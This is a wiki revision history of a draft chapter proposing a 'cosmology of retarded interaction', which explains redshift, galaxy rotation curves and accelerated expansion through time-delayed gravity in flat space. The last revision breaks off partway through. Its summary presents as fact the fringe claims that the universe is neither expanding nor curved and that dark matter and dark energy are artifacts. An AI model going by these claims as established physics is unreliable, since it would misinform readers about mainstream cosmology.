| Dark energy || Ad-hoc assumption, cosmological constant Λ || Effect of retarded gravitational potentials
|}

=== Summary ===
The universe is not expanding, and it is not curved. It is a system of masses distributed in flat space, whose mutual attraction is so time-delayed that the resulting orbits and light signals create the illusion of an expanding geometry dominated by dark matter and dark energy.

The CRI consistently adheres to the axioms. It dispenses with the geometric interpretation (no spatial curvature, no event horizon in the sense of General Relativity) and regards everything as the result of forces, masses, and time delays. The dark components and spatial curvature are merely mathematical artifacts that arise when one attempts to describe the retarded force action using differential geometry.

The universe is not viewed as a geometric black hole in the sense of general relativity, but rather as a massive system whose internal dynamics are governed by retarded potentials.

CRI is based solely on the view that the universe is a classical mechanical system with retardation. By introducing differential-geometric paradigms such as the curvature or stretching of space, one departs from the disruptive paradigm of CRI and returns to General Relativity.</text>
      <sha1>r1c14bf2m1foie0g11aj1bsvhrugfqx</sha1>
    </revision>
    <revision>
      <id>4670420</id>
      <parentid>4670417</parentid>
      <timestamp>2026-09-16T12:52:55Z</timestamp>
      <contributor>
        <username>Bautsch</username>
        <id>630029</id>
      </contributor>
      <minor />
      <comment>Chapter navigation</comment>
      <origin>4670420</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="9341" sha1="gygriutul56q4pi6ar9hac59xly3ayc" xml:space="preserve">&lt;noinclude&gt;
{{Chapter navigation|Gravitational redshift|Conclusion}}
&lt;/noinclude&gt;

== Cosmology of retarded interaction ==
Modern astrophysics is based on the General Theory of Relativity (GTR) because it has been confirmed by experiments such as the perihelion precession of Mercury or the detection of gravitational waves. A new model must prove that it also correctly describes all the effects that the GTR explains geometrically.

To devise a disruptive cosmology that relies solely on classical, relativistic, and retarded gravitational potentials and dispenses with all ad hoc and a priori hypotheses – such as the equivalence principle of General Relativity, cosmological constants, dark matter, dark energy, homogeneity, or isotropy – we must return to a dynamic field approach. To this end, the differential geometry required for general relativity can be replaced by a model that relies on Euclidean geometry in Minkowski space.

The central challenge is that classical Newtonian gravity acts instantaneously. To construct a consistent cosmology, retarded gravitational potentials can be introduced. This leads to an inherent time dependence and dynamics of the universe without the need to postulate an expansion of space.

In what follows, a draft of the '''cosmology of retarded interaction (CRI)''' is outlined.

=== The axioms of CRI ===
Established physics is based on three pillars:

# '''Classical mechanics:''' The force &lt;math display=&quot;inline&quot;&gt;F = m \cdot a&lt;/math&gt; as the basis of the acceleration &lt;math display=&quot;inline&quot;&gt;a&lt;/math&gt; of a mass &lt;math display=&quot;inline&quot;&gt;m&lt;/math&gt; .
# '''Relativistic kinematics:''' time dilation and length contraction according to the Special Theory of Relativity (STR), but without the curvature of spacetime.
# '''Retarded gravitation:''' The gravitational effect propagates at the speed of light &lt;math display=&quot;inline&quot;&gt;c&lt;/math&gt;. The potential &lt;math display=&quot;inline&quot;&gt;\Phi&lt;/math&gt; at a point &lt;math display=&quot;inline&quot;&gt;\mathbf {r}&lt;/math&gt; at time &lt;math display=&quot;inline&quot;&gt;t&lt;/math&gt; depends on the state of the source at time &lt;math display=&quot;inline&quot;&gt;t - \Delta t&lt;/math&gt;, where &lt;math display=&quot;inline&quot;&gt;\Delta t = \frac {r} {c}&lt;/math&gt;.

=== The mathematical core ===
For the mathematical formulation, the gravitational potential can be substituted into the wave equation:

:&lt;math&gt;\square \Phi = \left( \frac {1} {c^2} \frac {\partial^2} {\partial t^2} - \nabla^2 \right) \Phi = 4\pi G \rho&lt;/math&gt;

The solution to this wave equation is the retarded potential:

:&lt;math&gt;\Phi (\vec {r}, t) = -G \iiint \frac {\rho (\vec {r}', t - |\vec {r} - \vec {r}'| / c)} {|\vec {r} - \vec {r}'|} d^3r'&lt;/math&gt;

In a universe with massive objects, gravity never acts instantaneously but always depends on the mass’s past position. This creates a phase shift between mass and force, as well as an attenuation of the retarded gravitational potentials.

=== Cosmological mechanisms ===
==== The apparent Expansion ====
In general relativity (GR), redshift is a stretching of space. In the CRI, it is the result of a dynamic retardation in both time and space.

Since the gravitational effect arrives retarded, the force of mass lags behind. In a system consisting of many particles, this leads to a continuous energetic shift in their trajectories. When we receive light from distant sources, we do not observe an expansion of space, but rather the cumulative effect of the net gravitational potentials on the propagation of light (gravitational redshift) and the relativistic potentials due to the motion of the source (Doppler redshift).

==== A replacement for dark matter ====
In the standard model of cosmology respectively the Lambda cold dark matter model (Lambda-CDM model or ΛCDM model), the flat rotation curves of galaxies are explained by dark matter. In the CRI, they result from the retarded effect of the baryonic matter accreted by the galaxies.

The stars in the outer regions of a galaxy respond to the gravitational potential of the center as it was millions of years ago. The force does not decrease as &lt;math display=&quot;inline&quot;&gt;1 / r^2&lt;/math&gt; because the time delay generates an additional force component, similar to the Liénard–Wiechert potentials in electrodynamics.

==== A replacement for dark energy ====
In CIR, accelerated expansion is interpreted as a cosmic phenomenon. The retarded gravitational potentials of homogeneously distributed masses – located in a spherical shell outside the sphere’s surface on which a moving test mass rests – lead to an outward acceleration of the test mass, since opposing masses reach the test mass with differing decelerations.

Consequently, all mass points moving in the universe drift apart at an accelerating rate because the acting forces, due to the retardation, cause a radially outward acceleration force. As a result, matter in the outer regions of the universe becomes increasingly dense, creating an inhomogeneous mass distribution that continuously amplifies the effect of the retarded potentials.

The CRI therefore does not align with metric expansion, it only presupposes a static Euclidean space. If space itself were expanding, this would call into question or modify the speed of light &lt;math display=&quot;inline&quot;&gt;c&lt;/math&gt; as a constant parameter for the retardation &lt;math display=&quot;inline&quot;&gt;\Delta t = r/c&lt;/math&gt;. The CRI would thus actively dispute the thesis of metric expansion and interpret it as an optical illusion.

If “expansion” means that galaxies are physically moving away from one another (as in a classical gas), then this is the core of the CRI.

In the CRI, expansion is not necessarily linked to an event such as the Big Bang, but is rather a dynamic process. The retardation of gravity gives rise to inhomogeneity. When the masses are far enough apart that the time delay &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt; effectively weakens and phase-shifts the effect of gravity, the objects begin to drift due to their kinetic motion.

The farther they drift, the larger &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt; becomes, and the weaker the retarded forces become the expansion accelerates without the need for dark energy.

==== The universe as a black hole ====
In general relativity, a black hole is a region of extreme spatial curvature. However, since CRI rejects spatial curvature and replaces it with retarded potentials, the concept of a black hole would have to be radically redefined. In CRI, a black hole would not be a geometric point, but rather a region of high mass density in which the gravitational potentials are so strong that the escape velocity &lt;math display=&quot;inline&quot;&gt;v_e \geq c&lt;/math&gt; is reached.

If our universe were the interior of such an object, we would find ourselves in a region where the retarded potentials are dominated by a massive external or central source.

Since CRI is based on classical potentials, there is no mathematical necessity for a singularity. The retarded effect smooths out extreme gradients over time &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt;. A universe-black-hole in CRI would thus be more like a gigantic cluster of baryonic matter, within which we find ourselves. The observed physics would then be the superposition of the local forces and the global, retarded pull of the surrounding mass.

=== Comparison with the standard model ===
The CRI does not rely on a priori hypotheses or ad hoc assumptions, which are taken for granted in the standard model of cosmology.

{| class=&quot;wikitable&quot;
|+ Comparision standard model of cosmology and cosmology of retarded interaction (CRI)
|-
! Concept !! Standard model (GR / ΛCDM) !! CRI
|-
| Spacetime || Dynamic differential geometry, curved sapce || Static Euclidean geometry, Minkowski space
|-
| Principle of equivalence || Ad-hoc assumption, General Theory of Relativity || Gravitation is a force
|-
| Homogenity / isotropy || Ad-hoc assumption, cosmological principle || No homogenity, isotropic from the centre of a kinematic universe
|-
| Dark matter || Ad-hoc assumption, non-baryonic particles || Effect of retarded gravitational potentials
|-
| Dark energy || Ad-hoc assumption, cosmological constant Λ || Effect of retarded gravitational potentials
|}

=== Summary ===
The universe is not expanding, and it is not curved. It is a system of masses distributed in flat space, whose mutual attraction is so time-delayed that the resulting orbits and light signals create the illusion of an expanding geometry dominated by dark matter and dark energy.

The CRI consistently adheres to the axioms. It dispenses with the geometric interpretation (no spatial curvature, no event horizon in the sense of General Relativity) and regards everything as the result of forces, masses, and time delays. The dark components and spatial curvature are merely mathematical artifacts that arise when one attempts to describe the retarded force action using differential geometry.

The universe is not viewed as a geometric black hole in the sense of general relativity, but rather as a massive system whose internal dynamics are governed by retarded potentials.

CRI is based solely on the view that the universe is a classical mechanical system with retardation. By introducing differential-geometric paradigms such as the curvature or stretching of space, one departs from the disruptive paradigm of CRI and returns to General Relativity.</text>
      <sha1>gygriutul56q4pi6ar9hac59xly3ayc</sha1>
    </revision>
    <revision>
      <id>4670435</id>
      <parentid>4670420</parentid>
      <timestamp>2026-09-16T14:03:19Z</timestamp>
      <contributor>
        <username>Bautsch</username>
        <id>630029</id>
      </contributor>
      <comment>abbreviations / table</comment>
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      <format>text/x-wiki</format>
      <text bytes="9999" sha1="6uflxqz8k6gx6ymb1mfxbi672ogo8fh" xml:space="preserve">&lt;noinclude&gt;
{{Chapter navigation|Gravitational redshift|Conclusion}}
&lt;/noinclude&gt;

== Cosmology of retarded interaction ==
Modern astrophysics is based on the General Theory of Relativity (GR) because it has been confirmed by experiments such as the perihelion precession of Mercury or the detection of gravitational waves. A new model must prove that it also correctly describes all the effects that the General Theory of Relativity explains geometrically.

To devise a disruptive cosmology that relies solely on classical, relativistic, and retarded gravitational potentials and dispenses with all ad hoc and a priori hypotheses – such as the equivalence principle of General Relativity, cosmological constants, dark matter, dark energy, homogeneity, or isotropy – we must return to a dynamic field approach. To this end, the differential geometry required for general relativity can be replaced by a model that relies on Euclidean geometry in Minkowski space.

The central challenge is that classical Newtonian gravity acts instantaneously. To construct a consistent cosmology, retarded gravitational potentials can be introduced. This leads to an inherent time dependence and dynamics of the universe without the need to postulate an expansion of space.

In what follows, a draft of the '''cosmology of retarded interaction (CRI)''' is outlined.

=== The axioms of CRI ===
Established physics is based on three pillars:

# '''Classical mechanics:''' The force &lt;math display=&quot;inline&quot;&gt;F = m \cdot a&lt;/math&gt; as the basis of the acceleration &lt;math display=&quot;inline&quot;&gt;a&lt;/math&gt; of a mass &lt;math display=&quot;inline&quot;&gt;m&lt;/math&gt; .
# '''Relativistic kinematics:''' time dilation and length contraction according to the Special Theory of Relativity, but without the curvature of spacetime.
# '''Retarded gravitation:''' The gravitational effect propagates at the speed of light &lt;math display=&quot;inline&quot;&gt;c&lt;/math&gt;. The potential &lt;math display=&quot;inline&quot;&gt;\Phi&lt;/math&gt; at a point &lt;math display=&quot;inline&quot;&gt;\mathbf {r}&lt;/math&gt; at time &lt;math display=&quot;inline&quot;&gt;t&lt;/math&gt; depends on the state of the source at time &lt;math display=&quot;inline&quot;&gt;t - \Delta t&lt;/math&gt;, where &lt;math display=&quot;inline&quot;&gt;\Delta t = \frac {r} {c}&lt;/math&gt;.

=== The mathematical core ===
For the mathematical formulation, the gravitational potential can be substituted into the wave equation:

:&lt;math&gt;\square \Phi = \left( \frac {1} {c^2} \frac {\partial^2} {\partial t^2} - \nabla^2 \right) \Phi = 4\pi G \rho&lt;/math&gt;

The solution to this wave equation is the retarded potential:

:&lt;math&gt;\Phi (\vec {r}, t) = -G \iiint \frac {\rho (\vec {r}', t - |\vec {r} - \vec {r}'| / c)} {|\vec {r} - \vec {r}'|} d^3r'&lt;/math&gt;

In a universe with massive objects, gravity never acts instantaneously but always depends on the mass’s past position. This creates a phase shift between mass and force, as well as an attenuation of the retarded gravitational potentials.

=== Cosmological mechanisms ===
==== The apparent Expansion ====
In general relativity, redshift is a stretching of space. In the cosmology of retarded interaction, it is the result of a dynamic retardation in both time and space.

Since the gravitational effect arrives retarded, the force of mass lags behind. In a system consisting of many particles, this leads to a continuous energetic shift in their trajectories. When we receive light from distant sources, we do not observe an expansion of space, but rather the cumulative effect of the net gravitational potentials on the propagation of light (gravitational redshift) and the relativistic potentials due to the motion of the source (Doppler redshift).

==== A replacement for dark matter ====
In the standard model of cosmology respectively the Lambda cold dark matter model (Lambda-CDM model or ΛCDM model), the flat rotation curves of galaxies are explained by dark matter. In the cosmology of retarded interaction, they result from the retarded effect of the baryonic matter accreted by the galaxies.

The stars in the outer regions of a galaxy respond to the gravitational potential of the center as it was millions of years ago. The force does not decrease as &lt;math display=&quot;inline&quot;&gt;1 / r^2&lt;/math&gt; because the time delay generates an additional force component, similar to the Liénard–Wiechert potentials in electrodynamics.

==== A replacement for dark energy ====
In CIR, accelerated expansion is interpreted as a cosmic phenomenon. The retarded gravitational potentials of homogeneously distributed masses – located in a spherical shell outside the sphere’s surface on which a moving test mass rests – lead to an outward acceleration of the test mass, since opposing masses reach the test mass with differing decelerations.

Consequently, all mass points moving in the universe drift apart at an accelerating rate because the acting forces, due to the retardation, cause a radially outward acceleration force. As a result, matter in the outer regions of the universe becomes increasingly dense, creating an inhomogeneous mass distribution that continuously amplifies the effect of the retarded potentials.

The cosmology of retarded interaction therefore does not align with metric expansion, it only presupposes a static Euclidean space. If space itself were expanding, this would call into question or modify the speed of light &lt;math display=&quot;inline&quot;&gt;c&lt;/math&gt; as a constant parameter for the retardation &lt;math display=&quot;inline&quot;&gt;\Delta t = r/c&lt;/math&gt;. The cosmology of retarded interaction would thus actively dispute the thesis of metric expansion and interpret it as an optical illusion.

If “expansion” means that galaxies are physically moving away from one another (as in a classical gas), then this is the core of the cosmology of retarded interaction.

In the cosmology of retarded interaction, expansion is not necessarily linked to an event such as the Big Bang, but is rather a dynamic process. The retardation of gravity gives rise to inhomogeneity. When the masses are far enough apart that the time delay &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt; effectively weakens and phase-shifts the effect of gravity, the objects begin to drift due to their kinetic motion.

The farther they drift, the larger &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt; becomes, and the weaker the retarded forces become the expansion accelerates without the need for dark energy.

==== The universe as a black hole ====
In general relativity, a black hole is a region of extreme spatial curvature. However, since cosmology of retarded interaction rejects spatial curvature and replaces it with retarded potentials, the concept of a black hole would have to be radically redefined. In cosmology of retarded interaction, a black hole would not be a geometric point, but rather a region of high mass density in which the gravitational potentials are so strong that the escape velocity &lt;math display=&quot;inline&quot;&gt;v_e \geq c&lt;/math&gt; is reached.

If our universe were the interior of such an object, we would find ourselves in a region where the retarded potentials are dominated by a massive external or central source.

Since cosmology of retarded interaction is based on classical potentials, there is no mathematical necessity for a singularity. The retarded effect smooths out extreme gradients over time &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt;. A universe-black-hole in cosmology of retarded interaction would thus be more like a gigantic cluster of baryonic matter, within which we find ourselves. The observed physics would then be the superposition of the local forces and the global, retarded pull of the surrounding mass.

=== Comparison with the standard model ===
The cosmology of retarded interaction does not rely on a priori hypotheses or ad hoc assumptions, which are taken for granted in the standard model of cosmology.

{| class=&quot;wikitable&quot;
|+ Comparision standard model of cosmology (ΛCDM) and cosmology of retarded interaction (CRI)
|-
! Concept !! Standard model (GR / ΛCDM) !! cosmology of retarded interaction (CRI)
|-
| Principle of equivalence || Ad-hoc assumption, General Theory of Relativity || No, gravitation is a force
|-
| Homogenity || Ad-hoc assumption, cosmological principle || No homogenity
|-
| Isotropy || Ad-hoc assumption, cosmological principle || Only from the centre of a kinematic universe
|-
| Copernican principle || Ad-hoc assumption || Milky Way in Local Group near the centre of a kinematic universe
|-
| Dark matter || Ad-hoc assumption, non-baryonic particles || Effect of retarded gravitational potentials
|-
| Dark energy || Ad-hoc assumption, cosmological constant Λ || Effect of retarded gravitational potentials
|-
| Geometry || Dynamic differential geometry|| Static Euclidean geometry
|-
| Spacetime || Curved space || Minkowski space
|}

=== Summary ===
The universe is not expanding, and it is not curved. It is a system of masses distributed in flat space, whose mutual attraction is so time-delayed that the resulting orbits and light signals create the illusion of an expanding geometry dominated by dark matter and dark energy.

The cosmology of retarded interaction consistently adheres to the axioms. It dispenses with the geometric interpretation (no spatial curvature, no event horizon in the sense of General Relativity) and regards everything as the result of forces, masses, and time delays. The dark components and spatial curvature are merely mathematical artifacts that arise when one attempts to describe the retarded force action using differential geometry.

The universe is not viewed as a geometric black hole in the sense of general relativity, but rather as a massive system whose internal dynamics are governed by retarded potentials.

cosmology of retarded interaction is based solely on the view that the universe is a classical mechanical system with retardation. By introducing differential-geometric paradigms such as the curvature or stretching of space, one departs from the disruptive paradigm of cosmology of retarded interaction and returns to General Relativity.</text>
      <sha1>6uflxqz8k6gx6ymb1mfxbi672ogo8fh</sha1>
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    <revision>
      <id>4670436</id>
      <parentid>4670435</parentid>
      <timestamp>2026-09-16T14:07:04Z</timestamp>
      <contributor>
        <username>Bautsch</username>
        <id>630029</id>
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      <text bytes="10105" sha1="dsa5lsim18kp6jixqupfkv9aj0fk897" xml:space="preserve">&lt;noinclude&gt;
{{Chapter navigation|Gravitational redshift|Conclusion}}
&lt;/noinclude&gt;

== Cosmology of retarded interaction ==
Modern astrophysics is based on the General Theory of Relativity (GR) because it has been confirmed by experiments such as the perihelion precession of Mercury or the detection of gravitational waves. A new model must prove that it also correctly describes all the effects that the General Theory of Relativity explains geometrically.

To devise a disruptive cosmology that relies solely on classical, relativistic, and retarded gravitational potentials and dispenses with all ad hoc and a priori hypotheses – such as the equivalence principle of General Relativity, cosmological constants, dark matter, dark energy, homogeneity, or isotropy – we must return to a dynamic field approach. To this end, the differential geometry required for general relativity can be replaced by a model that relies on Euclidean geometry in Minkowski space.

The central challenge is that classical Newtonian gravity acts instantaneously. To construct a consistent cosmology, retarded gravitational potentials can be introduced. This leads to an inherent time dependence and dynamics of the universe without the need to postulate an expansion of space.

In what follows, a draft of the '''cosmology of retarded interaction (CRI)''' is outlined.

=== The axioms of retarded interaction ===
Established physics is based on three pillars, which are used to build the cosmology of retarded interaction:

# '''Classical mechanics:''' The force &lt;math display=&quot;inline&quot;&gt;F = m \cdot a&lt;/math&gt; as the basis of the acceleration &lt;math display=&quot;inline&quot;&gt;a&lt;/math&gt; of a mass &lt;math display=&quot;inline&quot;&gt;m&lt;/math&gt; .
# '''Relativistic kinematics:''' time dilation and length contraction according to the Special Theory of Relativity, but without the curvature of spacetime.
# '''Retarded gravitation:''' The gravitational effect propagates at the speed of light &lt;math display=&quot;inline&quot;&gt;c&lt;/math&gt;. The potential &lt;math display=&quot;inline&quot;&gt;\Phi&lt;/math&gt; at a point &lt;math display=&quot;inline&quot;&gt;\mathbf {r}&lt;/math&gt; at time &lt;math display=&quot;inline&quot;&gt;t&lt;/math&gt; depends on the state of the source at time &lt;math display=&quot;inline&quot;&gt;t - \Delta t&lt;/math&gt;, where &lt;math display=&quot;inline&quot;&gt;\Delta t = \frac {r} {c}&lt;/math&gt;.

=== The mathematical core ===
For the mathematical formulation, the gravitational potential can be substituted into the wave equation:

:&lt;math&gt;\square \Phi = \left( \frac {1} {c^2} \frac {\partial^2} {\partial t^2} - \nabla^2 \right) \Phi = 4\pi G \rho&lt;/math&gt;

The solution to this wave equation is the retarded potential:

:&lt;math&gt;\Phi (\vec {r}, t) = -G \iiint \frac {\rho (\vec {r}', t - |\vec {r} - \vec {r}'| / c)} {|\vec {r} - \vec {r}'|} d^3r'&lt;/math&gt;

In a universe with massive objects, gravity never acts instantaneously but always depends on the mass’s past position. This creates a phase shift between mass and force, as well as an attenuation of the retarded gravitational potentials.

=== Cosmological mechanisms ===
==== The apparent expansion ====
In general relativity, redshift is a stretching of space. In the cosmology of retarded interaction, it is the result of a dynamic retardation in both time and space.

Since the gravitational effect arrives retarded, the force of mass lags behind. In a system consisting of many particles, this leads to a continuous energetic shift in their trajectories. When we receive light from distant sources, we do not observe an expansion of space, but rather the cumulative effect of the net gravitational potentials on the propagation of light (gravitational redshift) and the relativistic potentials due to the motion of the source (Doppler redshift).

==== A replacement for dark matter ====
In the standard model of cosmology respectively the Lambda cold dark matter model (Lambda-CDM model or ΛCDM model), the flat rotation curves of galaxies are explained by dark matter. In the cosmology of retarded interaction, they result from the retarded effect of the baryonic matter accreted by the galaxies.

The stars in the outer regions of a galaxy respond to the gravitational potential of the center as it was millions of years ago. The force does not decrease as &lt;math display=&quot;inline&quot;&gt;1 / r^2&lt;/math&gt; because the time delay generates an additional force component, similar to the Liénard–Wiechert potentials in electrodynamics.

==== A replacement for dark energy ====
In CIR, accelerated expansion is interpreted as a cosmic phenomenon. The retarded gravitational potentials of homogeneously distributed masses – located in a spherical shell outside the sphere’s surface on which a moving test mass rests – lead to an outward acceleration of the test mass, since opposing masses reach the test mass with differing decelerations.

Consequently, all mass points moving in the universe drift apart at an accelerating rate because the acting forces, due to the retardation, cause a radially outward acceleration force. As a result, matter in the outer regions of the universe becomes increasingly dense, creating an inhomogeneous mass distribution that continuously amplifies the effect of the retarded potentials.

The cosmology of retarded interaction therefore does not align with metric expansion, it only presupposes a static Euclidean space. If space itself were expanding, this would call into question or modify the speed of light &lt;math display=&quot;inline&quot;&gt;c&lt;/math&gt; as a constant parameter for the retardation &lt;math display=&quot;inline&quot;&gt;\Delta t = r/c&lt;/math&gt;. The cosmology of retarded interaction would thus actively dispute the thesis of metric expansion and interpret it as an optical illusion.

If “expansion” means that galaxies are physically moving away from one another (as in a classical gas), then this is the core of the cosmology of retarded interaction.

In the cosmology of retarded interaction, expansion is not necessarily linked to an event such as the Big Bang, but is rather a dynamic process. The retardation of gravity gives rise to inhomogeneity. When the masses are far enough apart that the time delay &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt; effectively weakens and phase-shifts the effect of gravity, the objects begin to drift due to their kinetic motion.

The farther they drift, the larger &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt; becomes, and the weaker the retarded forces become the expansion accelerates without the need for dark energy.

==== The universe as a black hole ====
In general relativity, a black hole is a region of extreme spatial curvature. However, since cosmology of retarded interaction rejects spatial curvature and replaces it with retarded potentials, the concept of a black hole would have to be radically redefined. In cosmology of retarded interaction, a black hole would not be a geometric point, but rather a region of high mass density in which the gravitational potentials are so strong that the escape velocity &lt;math display=&quot;inline&quot;&gt;v_e \geq c&lt;/math&gt; is reached.

If our universe were the interior of such an object, we would find ourselves in a region where the retarded potentials are dominated by a massive external or central source.

Since cosmology of retarded interaction is based on classical potentials, there is no mathematical necessity for a singularity. The retarded effect smooths out extreme gradients over time &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt;. A universe-black-hole in cosmology of retarded interaction would thus be more like a gigantic cluster of baryonic matter, within which we find ourselves. The observed physics would then be the superposition of the local forces and the global, retarded pull of the surrounding mass.

=== Comparison with the standard model of cosmology ===
The cosmology of retarded interaction does not rely on a priori hypotheses or ad hoc assumptions, which are taken for granted in the standard model of cosmology.

{| class=&quot;wikitable&quot;
|+ Comparision standard model of cosmology (ΛCDM) and cosmology of retarded interaction (CRI)
|-
! Concept !! Standard model of cosmology (GR / ΛCDM) !! cosmology of retarded interaction (CRI)
|-
| Principle of equivalence || Ad-hoc assumption, General Theory of Relativity || No, gravitation is a force
|-
| Homogenity || Ad-hoc assumption, cosmological principle || No homogenity
|-
| Isotropy || Ad-hoc assumption, cosmological principle || Only from the centre of a kinematic universe
|-
| Copernican principle || Ad-hoc assumption || Milky Way in Local Group near the centre of a kinematic universe
|-
| Dark matter || Ad-hoc assumption, non-baryonic particles || Effect of retarded gravitational potentials
|-
| Dark energy || Ad-hoc assumption, cosmological constant Λ || Effect of retarded gravitational potentials
|-
| Geometry || Dynamic differential geometry|| Static Euclidean geometry
|-
| Spacetime || Curved space || Minkowski space
|}

=== Summary ===
The universe is not expanding, and it is not curved. It is a system of masses distributed in flat space, whose mutual attraction is so time-delayed that the resulting orbits and light signals create the illusion of an expanding geometry dominated by dark matter and dark energy.

The cosmology of retarded interaction consistently adheres to the axioms. It dispenses with the geometric interpretation (no spatial curvature, no event horizon in the sense of General Relativity) and regards everything as the result of forces, masses, and time delays. The dark components and spatial curvature are merely mathematical artifacts that arise when one attempts to describe the retarded force action using differential geometry.

The universe is not viewed as a geometric black hole in the sense of general relativity, but rather as a massive system whose internal dynamics are governed by retarded potentials.

cosmology of retarded interaction is based solely on the view that the universe is a classical mechanical system with retardation. By introducing differential-geometric paradigms such as the curvature or stretching of space, one departs from the disruptive paradigm of cosmology of retarded interaction and returns to General Relativity.</text>
      <sha1>dsa5lsim18kp6jixqupfkv9aj0fk897</sha1>
    </revision>
    <revision>
      <id>4670600</id>
      <parentid>4670436</parentid>
      <timestamp>2026-09-17T09:23:04Z</timestamp>
      <contributor>
        <username>Bautsch</username>
        <id>630029</id>
      </contributor>
      <comment>/* Comparison with the standard model of cosmology */ Rotation curves / high-redshift objects</comment>
      <origin>4670600</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="10460" sha1="gzg9f1eagzdpt1m6ll36vqbwdq7r1sb" xml:space="preserve">&lt;noinclude&gt;
{{Chapter navigation|Gravitational redshift|Conclusion}}
&lt;/noinclude&gt;

== Cosmology of retarded interaction ==
Modern astrophysics is based on the General Theory of Relativity (GR) because it has been confirmed by experiments such as the perihelion precession of Mercury or the detection of gravitational waves. A new model must prove that it also correctly describes all the effects that the General Theory of Relativity explains geometrically.

To devise a disruptive cosmology that relies solely on classical, relativistic, and retarded gravitational potentials and dispenses with all ad hoc and a priori hypotheses – such as the equivalence principle of General Relativity, cosmological constants, dark matter, dark energy, homogeneity, or isotropy – we must return to a dynamic field approach. To this end, the differential geometry required for general relativity can be replaced by a model that relies on Euclidean geometry in Minkowski space.

The central challenge is that classical Newtonian gravity acts instantaneously. To construct a consistent cosmology, retarded gravitational potentials can be introduced. This leads to an inherent time dependence and dynamics of the universe without the need to postulate an expansion of space.

In what follows, a draft of the '''cosmology of retarded interaction (CRI)''' is outlined.

=== The axioms of retarded interaction ===
Established physics is based on three pillars, which are used to build the cosmology of retarded interaction:

# '''Classical mechanics:''' The force &lt;math display=&quot;inline&quot;&gt;F = m \cdot a&lt;/math&gt; as the basis of the acceleration &lt;math display=&quot;inline&quot;&gt;a&lt;/math&gt; of a mass &lt;math display=&quot;inline&quot;&gt;m&lt;/math&gt; .
# '''Relativistic kinematics:''' time dilation and length contraction according to the Special Theory of Relativity, but without the curvature of spacetime.
# '''Retarded gravitation:''' The gravitational effect propagates at the speed of light &lt;math display=&quot;inline&quot;&gt;c&lt;/math&gt;. The potential &lt;math display=&quot;inline&quot;&gt;\Phi&lt;/math&gt; at a point &lt;math display=&quot;inline&quot;&gt;\mathbf {r}&lt;/math&gt; at time &lt;math display=&quot;inline&quot;&gt;t&lt;/math&gt; depends on the state of the source at time &lt;math display=&quot;inline&quot;&gt;t - \Delta t&lt;/math&gt;, where &lt;math display=&quot;inline&quot;&gt;\Delta t = \frac {r} {c}&lt;/math&gt;.

=== The mathematical core ===
For the mathematical formulation, the gravitational potential can be substituted into the wave equation:

:&lt;math&gt;\square \Phi = \left( \frac {1} {c^2} \frac {\partial^2} {\partial t^2} - \nabla^2 \right) \Phi = 4\pi G \rho&lt;/math&gt;

The solution to this wave equation is the retarded potential:

:&lt;math&gt;\Phi (\vec {r}, t) = -G \iiint \frac {\rho (\vec {r}', t - |\vec {r} - \vec {r}'| / c)} {|\vec {r} - \vec {r}'|} d^3r'&lt;/math&gt;

In a universe with massive objects, gravity never acts instantaneously but always depends on the mass’s past position. This creates a phase shift between mass and force, as well as an attenuation of the retarded gravitational potentials.

=== Cosmological mechanisms ===
==== The apparent expansion ====
In general relativity, redshift is a stretching of space. In the cosmology of retarded interaction, it is the result of a dynamic retardation in both time and space.

Since the gravitational effect arrives retarded, the force of mass lags behind. In a system consisting of many particles, this leads to a continuous energetic shift in their trajectories. When we receive light from distant sources, we do not observe an expansion of space, but rather the cumulative effect of the net gravitational potentials on the propagation of light (gravitational redshift) and the relativistic potentials due to the motion of the source (Doppler redshift).

==== A replacement for dark matter ====
In the standard model of cosmology respectively the Lambda cold dark matter model (Lambda-CDM model or ΛCDM model), the flat rotation curves of galaxies are explained by dark matter. In the cosmology of retarded interaction, they result from the retarded effect of the baryonic matter accreted by the galaxies.

The stars in the outer regions of a galaxy respond to the gravitational potential of the center as it was millions of years ago. The force does not decrease as &lt;math display=&quot;inline&quot;&gt;1 / r^2&lt;/math&gt; because the time delay generates an additional force component, similar to the Liénard–Wiechert potentials in electrodynamics.

==== A replacement for dark energy ====
In CIR, accelerated expansion is interpreted as a cosmic phenomenon. The retarded gravitational potentials of homogeneously distributed masses – located in a spherical shell outside the sphere’s surface on which a moving test mass rests – lead to an outward acceleration of the test mass, since opposing masses reach the test mass with differing decelerations.

Consequently, all mass points moving in the universe drift apart at an accelerating rate because the acting forces, due to the retardation, cause a radially outward acceleration force. As a result, matter in the outer regions of the universe becomes increasingly dense, creating an inhomogeneous mass distribution that continuously amplifies the effect of the retarded potentials.

The cosmology of retarded interaction therefore does not align with metric expansion, it only presupposes a static Euclidean space. If space itself were expanding, this would call into question or modify the speed of light &lt;math display=&quot;inline&quot;&gt;c&lt;/math&gt; as a constant parameter for the retardation &lt;math display=&quot;inline&quot;&gt;\Delta t = r/c&lt;/math&gt;. The cosmology of retarded interaction would thus actively dispute the thesis of metric expansion and interpret it as an optical illusion.

If “expansion” means that galaxies are physically moving away from one another (as in a classical gas), then this is the core of the cosmology of retarded interaction.

In the cosmology of retarded interaction, expansion is not necessarily linked to an event such as the Big Bang, but is rather a dynamic process. The retardation of gravity gives rise to inhomogeneity. When the masses are far enough apart that the time delay &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt; effectively weakens and phase-shifts the effect of gravity, the objects begin to drift due to their kinetic motion.

The farther they drift, the larger &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt; becomes, and the weaker the retarded forces become the expansion accelerates without the need for dark energy.

==== The universe as a black hole ====
